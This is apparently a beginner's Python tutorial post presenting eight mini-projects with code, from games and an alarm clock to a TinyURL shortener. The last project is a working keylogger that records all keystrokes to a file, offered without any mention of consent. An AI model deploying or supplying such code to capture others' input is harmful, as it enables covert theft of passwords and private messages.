Fundamentals 11 min read

Python Mini Projects: Email Sender, Hangman, Alarm Clock, Rock‑Paper‑Scissors, Reminder, Article Reader, URL Shortener, and Keylogger

This article presents a collection of beginner‑friendly Python mini‑projects—including an automated email sender, a Hangman game, an alarm clock, a rock‑paper‑scissors showdown, a desktop reminder, an article‑to‑speech reader, a URL shortener, and a keylogger—each with concise explanations and ready‑to‑run code snippets.

Python Programming Learning Circle
Python Programming Learning Circle
Python Programming Learning Circle
Python Mini Projects: Email Sender, Hangman, Alarm Clock, Rock‑Paper‑Scissors, Reminder, Article Reader, URL Shortener, and Keylogger

Below are several practical Python mini‑projects designed for beginners who want to apply their basic knowledge to real‑world scripts.

1. Automatic Email Sender

Use Python's email and smtplib libraries to send an email. Replace the placeholder fields with your own sender, recipient, subject, and content.

<code>import smtplib
from email.message import EmailMessage
email = EmailMessage()
email['from'] = 'xyz name'
email['to'] = 'xyz id'
email['subject'] = 'xyz subject'
email.set_content("Xyz content of email")
with smtplib.SMTP(host='smtp.gmail.com',port=587) as smtp:
    smtp.ehlo()
    smtp.starttls()
    smtp.login("email_id","Password")
    smtp.send_message(email)
    print("email send")
</code>

2. Hangman Game

A simple command‑line Hangman implementation that selects a random word from a predefined list and lets the user guess letters.

<code>import time
import random
name = input("What is your name? ")
print ("Hello, " + name, "Time to play hangman!")
time.sleep(1)
print ("Start guessing...\n")
time.sleep(0.5)
words = ['python','programming','treasure','creative','medium','horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:
    failed = 0
    for char in word:
        if char in guesses:
            print (char,end="")
        else:
            print ("_",end=""),
            failed += 1
    if failed == 0:
        print ("\nYou won")
        break
    guess = input("\nguess a character:")
    guesses += guess
    if guess not in word:
        turns -= 1
        print("\nWrong")
        print("\nYou have", + turns, 'more guesses')
if turns == 0:
    print ("\nYou Lose")
</code>

3. Alarm Clock

Creates an alarm that triggers at a user‑specified time and plays a sound using playsound .

<code>from datetime import datetime
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
    now = datetime.now()
    current_hour = now.strftime("%I")
    current_minute = now.strftime("%M")
    current_seconds = now.strftime("%S")
    current_period = now.strftime("%p")
    if(alarm_period==current_period):
        if(alarm_hour==current_hour):
            if(alarm_minute==current_minute):
                if(alarm_seconds==current_seconds):
                    print("Wake Up!")
                    playsound('audio.mp3')
                    break
</code>

4. Rock‑Paper‑Scissors Game

A classic game where the player competes against the computer; scores are tracked and displayed.

<code>import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player_score = 0
cpu_score = 0
while True:
    player = input("Rock, Paper or  Scissors?").capitalize()
    if player == computer:
        print("Tie!")
    elif player == "Rock":
        if computer == "Paper":
            print("You lose!", computer, "covers", player)
            cpu_score+=1
        else:
            print("You win!", player, "smashes", computer)
            player_score+=1
    elif player == "Paper":
        if computer == "Scissors":
            print("You lose!", computer, "cut", player)
            cpu_score+=1
        else:
            print("You win!", player, "covers", computer)
            player_score+=1
    elif player == "Scissors":
        if computer == "Rock":
            print("You lose...", computer, "smashes", player)
            cpu_score+=1
        else:
            print("You win!", player, "cut", computer)
            player_score+=1
    elif player=='E':
        print("Final Scores:")
        print(f"CPU:{cpu_score}")
        print(f"Player:{player_score}")
        break
    else:
        print("That's not a valid play. Check your spelling!")
    computer = random.choice(choices)
</code>

5. Desktop Reminder Tool

Uses win10toast to show a toast notification after a user‑defined delay.

<code>from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
print("Title of reminder")
header = input()
print("Message of reminder")
text = input()
print("In how many minutes?")
time_min = float(input())
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}", f"{text}", duration=10, threaded=True)
while toaster.notification_active():
    time.sleep(0.005)
</code>

6. Article Reader (Text‑to‑Speech)

Fetches an article from a URL, extracts its text with BeautifulSoup, and reads it aloud using pyttsx3 .

<code>import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))

def content(url):
    res = requests.get(url)
    soup = BeautifulSoup(res.text,'html.parser')
    articles = []
    for i in range(len(soup.select('.p'))):
        article = soup.select('.p')[i].getText().strip()
        articles.append(article)
    contents = " ".join(articles)
    return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)

def speak(audio):
    engine.say(audio)
    engine.runAndWait()

contents = content(url)
# speak(contents)  # Uncomment to read aloud
</code>

7. URL Shortener

Calls TinyURL's API to generate a shortened link for any given URL.

<code>from __future__ import with_statement
import contextlib
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
try:
    from urllib.request import urlopen
except ImportError:
    from urllib2 import urlopen
import sys

def make_tiny(url):
    request_url = ('http://tinyurl.com/api-create.php?' + urlencode({'url':url}))
    with contextlib.closing(urlopen(request_url)) as response:
        return response.read().decode('utf-8')

def main():
    for tinyurl in map(make_tiny, sys.argv[1:]):
        print(tinyurl)

if __name__ == '__main__':
    main()
</code>

8. Keylogger

Records keystrokes using pynput and writes them to a text file.

<code>from pynput.keyboard import Key, Controller, Listener
import time
keyboard = Controller()
keys = []

def on_press(key):
    global keys
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string) > 15:
        with open('keys.txt', 'a') as f:
            f.write(main_string)
            keys = []

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
</code>

These scripts are intended as hands‑on practice for learners who want to strengthen their Python fundamentals.

PythonautomationTutorialScriptsBeginnerprojects
Python Programming Learning Circle
Written by

Python Programming Learning Circle

A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.